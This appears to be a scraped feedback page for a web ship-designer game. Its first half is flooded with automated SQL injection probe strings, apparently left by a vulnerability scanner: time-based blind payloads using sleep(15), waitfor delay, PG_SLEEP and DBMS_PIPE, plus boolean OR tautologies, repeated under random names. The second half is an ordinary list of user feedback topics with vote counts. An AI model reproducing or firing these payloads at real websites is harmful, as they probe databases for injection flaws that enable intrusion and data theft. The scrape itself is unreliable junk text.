• dwUQQUrL

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• dwUQQUrL

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• dwUQQUrL

  1-1; waitfor delay '0:0:15' --

• dwUQQUrL

  1-1); waitfor delay '0:0:15' --

• dwUQQUrL

  1-1 waitfor delay '0:0:15' --

• dwUQQUrL

  1QkX2iEiN'; waitfor delay '0:0:15' --

• dwUQQUrL

  1-1 OR 319=(SELECT 319 FROM PG_SLEEP(15))--

• dwUQQUrL

  1-1) OR 670=(SELECT 670 FROM PG_SLEEP(15))--

• dwUQQUrL

  1-1)) OR 398=(SELECT 398 FROM PG_SLEEP(15))--

• dwUQQUrL

  1RJVnwbUg' OR 619=(SELECT 619 FROM PG_SLEEP(15))--

• dwUQQUrL

  10IEmK8RM') OR 120=(SELECT 120 FROM PG_SLEEP(15))--

• dwUQQUrL

  1WTH8QjvE')) OR 325=(SELECT 325 FROM PG_SLEEP(15))--

• dwUQQUrL

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• dwUQQUrL

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• dwUQQUrL

  1

• dwUQQUrL

  1'"

• dwUQQUrL

  @@rfUzM

• dwUQQUrL

  1

• dwUQQUrL

  1

• dwUQQUrLLFclbOba

  1

• dwUQQUrL

  1

• -1 OR 2+373-373-1=0+0+0+1 --

  1

• -1 OR 2+145-145-1=0+0+0+1

  1

• -1' OR 2+546-546-1=0+0+0+1 --

  1

• -1' OR 2+847-847-1=0+0+0+1 or 'D5l0b364'='

  1

• -1" OR 2+588-588-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• dwUQQUrL-1 waitfor delay '0:0:15' --

  1

• dwUQQUrLxiFZj5WL'; waitfor delay '0:0:15' --

  1

• dwUQQUrL

  1

• dwUQQUrL'"

  1

• @@g2HKE

  1

• dwUQQUrL

  1

• kEMlzpAX

  1

• kEMlzpAX

  1

• kEMlzpAX

  1

• kEMlzpAX

  1uDCnVnbz

• kEMlzpAX

  1

• kEMlzpAX

  -1 OR 2+61-61-1=0+0+0+1 --

• kEMlzpAX

  -1 OR 2+718-718-1=0+0+0+1

• kEMlzpAX

  -1' OR 2+164-164-1=0+0+0+1 --

• kEMlzpAX

  -1' OR 2+76-76-1=0+0+0+1 or 'tgCudBpF'='

• kEMlzpAX

  -1" OR 2+114-114-1=0+0+0+1 --

• kEMlzpAX

  1*if(now()=sysdate(),sleep(15),0)

• kEMlzpAX

  10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

• kEMlzpAX

  10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

• kEMlzpAX

  (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

• kEMlzpAX

  1-1; waitfor delay '0:0:15' --

• kEMlzpAX

  1-1); waitfor delay '0:0:15' --

• kEMlzpAX

  1-1 waitfor delay '0:0:15' --

• kEMlzpAX

  1D5IYDKuu'; waitfor delay '0:0:15' --

• kEMlzpAX

  1-1 OR 851=(SELECT 851 FROM PG_SLEEP(15))--

• kEMlzpAX

  1-1) OR 990=(SELECT 990 FROM PG_SLEEP(15))--

• kEMlzpAX

  1-1)) OR 60=(SELECT 60 FROM PG_SLEEP(15))--

• kEMlzpAX

  1EEaxQuhC' OR 319=(SELECT 319 FROM PG_SLEEP(15))--

• kEMlzpAX

  1IfriUQsw') OR 165=(SELECT 165 FROM PG_SLEEP(15))--

• kEMlzpAX

  1j47gTnZ4')) OR 926=(SELECT 926 FROM PG_SLEEP(15))--

• kEMlzpAX

  1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

• kEMlzpAX

  1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

• kEMlzpAX

  1

• kEMlzpAX

  1'"

• kEMlzpAX

  @@n4Kyi

• kEMlzpAX

  1

• kEMlzpAX

  1

• kEMlzpAXpijpxOJs

  1

• kEMlzpAX

  1

• -1 OR 2+65-65-1=0+0+0+1 --

  1

• -1 OR 2+776-776-1=0+0+0+1

  1

• -1' OR 2+836-836-1=0+0+0+1 --

  1

• -1' OR 2+200-200-1=0+0+0+1 or 'wmVJnEpN'='

  1

• -1" OR 2+498-498-1=0+0+0+1 --

  1

• if(now()=sysdate(),sleep(15),0)

  1

• kEMlzpAX-1 waitfor delay '0:0:15' --

  1

• kEMlzpAXsEDTD0AZ'; waitfor delay '0:0:15' --

  1

• kEMlzpAX

  1

• kEMlzpAX'"

  1

• @@S44RM

  1

• kEMlzpAX

  1

Comment

• Ship changed after being placed into the gallery
  By BeyPokéDig - 160 months ago
  Unvote

  8179 agree

• Hack Protection
  By Stealthkid - 151 months ago
  Unvote

  2952 agree

• Add to favorites
  By Anonymous - 162 months ago
  Unvote

  912 agree

• editro
  By critic - 162 months ago
  Unvote

  868 agree

• Missiles as an Third Weapon
  By Ram - 158 months ago
  Unvote

  848 agree

• Change Name?
  By Anonymous - 162 months ago
  Unvote

  841 agree

• Youtube B-wing achievement
  By chuck norris - 160 months ago
  Unvote

  840 agree

• Symmetry and Snap to grid Mode
  By Stan1023 - 118 months ago
  Unvote

  810 agree

• Slide ship in on start
  By Kickass guy - 162 months ago
  Unvote

  776 agree

• Kick Ass is Bad Ass!!
  By TheNuclearNinja - 157 months ago
  Unvote

  757 agree

• Mistaken Website Bug
  By CrazyDeathling - 160 months ago
  Unvote

  756 agree

• Rank list & Leaderboards
  By StoleYourFood - 157 months ago
  Unvote

  745 agree

• What browsers are supported?
  By Jack - 159 months ago
  Unvote

  737 agree

• It doesn't work!
  By the destructor - 161 months ago
  Unvote

  721 agree

• Awesome
  By Anonymous - 154 months ago
  Unvote

  685 agree

• Save
  By DevilishDB - 160 months ago
  Unvote

  683 agree

• Try Me does not work
  By Tim - 162 months ago
  Unvote

  676 agree

• Two major glitches
  By BeyPokéDig - 162 months ago
  Unvote

  673 agree

• Undo button
  By wombat - 159 months ago
  Unvote

  665 agree

• battle
  By alexof - 160 months ago
  Unvote

  662 agree

• Doesn't work on ismittromneythepresident.com
  By MassMurdererOver9000 - 155 months ago
  Unvote

  657 agree

• achievements
  By Lee - 162 months ago
  Unvote

  654 agree

• Posting times of feedback and feedback comments
  By BeyPokéDig - 162 months ago
  Unvote

  650 agree

• how do i draw the outline
  By kickassisdeboss - 162 months ago
  Unvote

  649 agree

• omfg
  By Russellmichael13 - 160 months ago
  Unvote

  645 agree

• Pen tool
  By Cblackdragon - 157 months ago
  Unvote

  640 agree

• White labeling the app?
  By Peter.dibart - 157 months ago
  Unvote

  623 agree

• Menu not showing up
  By Patrick.Fletcher.118 - 161 months ago
  Unvote

  616 agree

• You guys should have a symmetrical mode
  By Idrees - 161 months ago
  Unvote

  606 agree

• need some advice
  By Hao - 159 months ago
  Unvote

  603 agree

• Enemies
  By Agallup16 - 161 months ago
  Unvote

  593 agree

• Mirrored editing
  By wombat - 159 months ago
  Unvote

  592 agree

• Forums
  By BeyPokéDig - 161 months ago
  Unvote

  583 agree

• Benefits from improving ranks
  By hurrtz - 158 months ago
  Unvote

  582 agree

• Designer
  By Anonymous - 162 months ago
  Unvote

  579 agree

• Rankings
  By heyo - 161 months ago
  Unvote

  579 agree

• Pro!!
  By Jtbui20 - 161 months ago
  Unvote

  573 agree

• Button
  By Cottonball - 161 months ago
  Unvote

  570 agree

• android app
  By Barissenkal - 153 months ago
  Unvote

  567 agree

• help
  By Russellmichael13 - 160 months ago
  Unvote

  562 agree

• Extra weapons
  By MassMurdererOver9000 - 156 months ago
  Unvote

  556 agree

• Undo Button
  By Cblackdragon - 157 months ago
  Unvote

  554 agree

• I am using this on my site
  By Idrees - 161 months ago
  Unvote

  553 agree

• 1 agrees
  By BeyPokéDig - 162 months ago
  Unvote

  551 agree

• 0xp till| Only GA.
  By StoleYourFood - 157 months ago
  Unvote

  546 agree

• Image for ship
  By wombat - 159 months ago
  Unvote

  544 agree

• You guys need an undo button
  By Idrees - 161 months ago
  Unvote

  529 agree

• Question
  By Kickin Ass - 161 months ago
  Unvote

  525 agree

• how come the editor is so hard to use
  By Rcasassin - 159 months ago
  Unvote

  520 agree

• page moving up/down while controling the ship?
  By Tommy - 161 months ago
  Unvote

  507 agree